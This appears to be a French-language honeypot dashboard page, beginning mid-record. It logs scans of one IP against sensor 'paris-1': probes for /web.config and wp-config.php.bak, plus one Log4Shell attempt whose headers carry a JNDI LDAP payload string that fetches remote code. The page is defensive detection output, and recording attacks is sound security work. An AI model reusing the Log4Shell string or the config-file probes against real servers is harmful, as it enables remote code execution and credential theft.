Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":7,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":62,"tag_count":8,"anomaly_count":0,"campaign_key":"119e191da51402b2dc4686211cbcb5c6a5408cfa","event_fingerprint":"ddba0db79c97441de85ab71bdcb134c465d2bff1","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":62,"correlation_boost":18},"named_classif…
23/10/2026 11:45:49 UTC	TCP	20787 · HTTP	http	Scan de ports port scan syn · via HTTP:20787 · (reconnaissance) · → /api.php	Élevée	Moyen · 46
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /api.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_probe_api net_port_scan_fast Cible HTTP GET /api.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20787 Chemin / cible /api.php Service HTTP Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 46 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /api.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW Requête brute (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"c8a97588b7771aaeeaf43f790e83eca06dff8663","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":176,"payload_entropy":5.199206703417091,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20787,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.1,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":46,"tag_count":4,"anomaly_count":0,"campaign_key":"d40e0d36aa57e3e17cccd1231634a2b5207d5618","event_fingerprint":"402fdb8ab7769087c6d7ebb45a97904043a9bdf9","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":348,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo"…
23/10/2026 11:45:49 UTC	TCP	31832 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:31832 · (tentative d'exploit) · → /api/	Élevée	Élevé · 79
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole GET /api/ UA ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} Émulateur HTTP WAF 52 Recommandation Investiguer Tags 950326:rce-0 950406:ssrf-3 950418:jndi-0 950468:nosqli-3 Cible HTTP GET /api/ TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 31832 Chemin / cible /api/ Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Élevé · 79 Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF Signaux ET-EXPLOIT-Log4j pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `GET /api/ HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh k8s-api log4shell-jndi Payload (extrait) GET /api/ HTTP/1.1 Host: 62.3.50.33:31832 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4605 Requête brute (extrait) GET /api/ HTTP/1.1 Host: 62.3.50.33:31832 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.168. Meta JSON brut {"http_header_count":9,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"aa01e151de9993b07301e663f83a8b94cff655ca","http_host_hash":"6375668bbc7e8a77ee64c87a1ff165cd64a46f95","http_target_hash":"357322ae39f93f572e23cd9edd3307e2ac5a321f","http_referer_hash":"aa01e151de9993b07301e663f83a8b94cff655ca","http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":496,"payload_entropy":5.2729029338164395,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":12,"risk_granularity":7.2,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":79,"tag_count":14,"anomaly_count":0,"campaign_key":"69523696e382cf49763807c70ce9aaeb4712e874","event_fingerprint":"6aa4961ea7ba77d9571def1a829eccf5c1941ce0","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":342,"precision_signals":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidence_breakdown":{"waf":100,"classificat…
23/10/2026 11:45:48 UTC	TCP	20639 · HTTP	http	Scan de ports port scan syn · via HTTP:20639 · (reconnaissance) · → /web.config	Élevée	Moyen · 47
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20639 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 47 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20639,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":5.2,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":47,"tag_count":4,"anomaly_count":0,"campaign_key":"92ec8a9fa4eaf5dbbc5a53d694ef69920b165054","event_fingerprint":"568bcb375098aa9e456cedb895ab50e6e94768ee","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":47,"correlation_boost":18},"named_classi…
23/10/2026 11:45:48 UTC	TCP	20639 · HTTP	http	Scan de ports port scan syn · via HTTP:20639 · (reconnaissance) · → /config.php.bak	Élevée	Moyen · 59
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 21 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950521:leak-8 http_backup_file_scan Cible HTTP GET /config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20639 Chemin / cible /config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 59 Confiance : Confiance 100 % — 3 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-8 Payload (extrait) GET /config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Requête brute (extrait) GET /config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"f4e5344862db3f007de9149164d79b088f516034","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":183,"payload_entropy":5.240677569590536,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20639,"risk_waf":92,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6.3,"risk_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":59,"tag_count":7,"anomaly_count":0,"campaign_key":"5912b3c0c10c9919975211c99f9b5fb4c926cb6b","event_fingerprint":"81c78f4fe62b04f487fcf689e2a4ed9a2c345e0b","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":59,"correlation_boost":18},"named_classific…
23/10/2026 11:45:48 UTC	TCP	20639 · HTTP	http	Scan de ports port scan syn · via HTTP:20639 · (reconnaissance) · → /wp-config.php.bak	Élevée	Moyen · 62
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 29 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950518:leak-5 950521:leak-8 Cible HTTP GET /wp-config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20639 Chemin / cible /wp-config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 62 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-5 leak-8 Payload (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x Requête brute (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"0372d7102c333673ea0de9e60c73911cb60bfb5f","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":186,"payload_entropy":5.2529992835642085,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20639,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6.6,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":62,"tag_count":8,"anomaly_count":0,"campaign_key":"5da52301fcb278de2c8d0e8cfd68dc7a6ef4b658","event_fingerprint":"ab7fd192decd861a9b78486f64d97eb7b45d500a","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":62,"correlation_boost":18},"named_class…
23/10/2026 11:45:48 UTC	TCP	20626 · HTTP	http	Scan de ports port scan syn · via HTTP:20626 · (reconnaissance) · → /web.config	Élevée	Moyen · 45
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20626 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 45 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20626,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":3.2,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":45,"tag_count":4,"anomaly_count":0,"campaign_key":"6d6fdb2e7bfbd335b9746424847e6a8cf935536c","event_fingerprint":"c0267aef5028415a433b634482f619b8909dbc92","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":45,"correlation_boost":18},"named_classi…

185.244.155.23

Pourquoi listée

Qualifier avant blocage

À faire

Note de ticket

Comparaison ASN / FAI

IPs apparentées

Géolocalisation

FAI / réseau

Renseignement menaces

Décomposition confiance

Décomposition du score

Filtres

Profil d’activité

Heures UTC

Jours de semaine

Constats

Timeline

Ports 24 h

Top ports

Top classifications

Heatmap attaques 7j

Chronologie des événements

Comparaison côte à côte

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence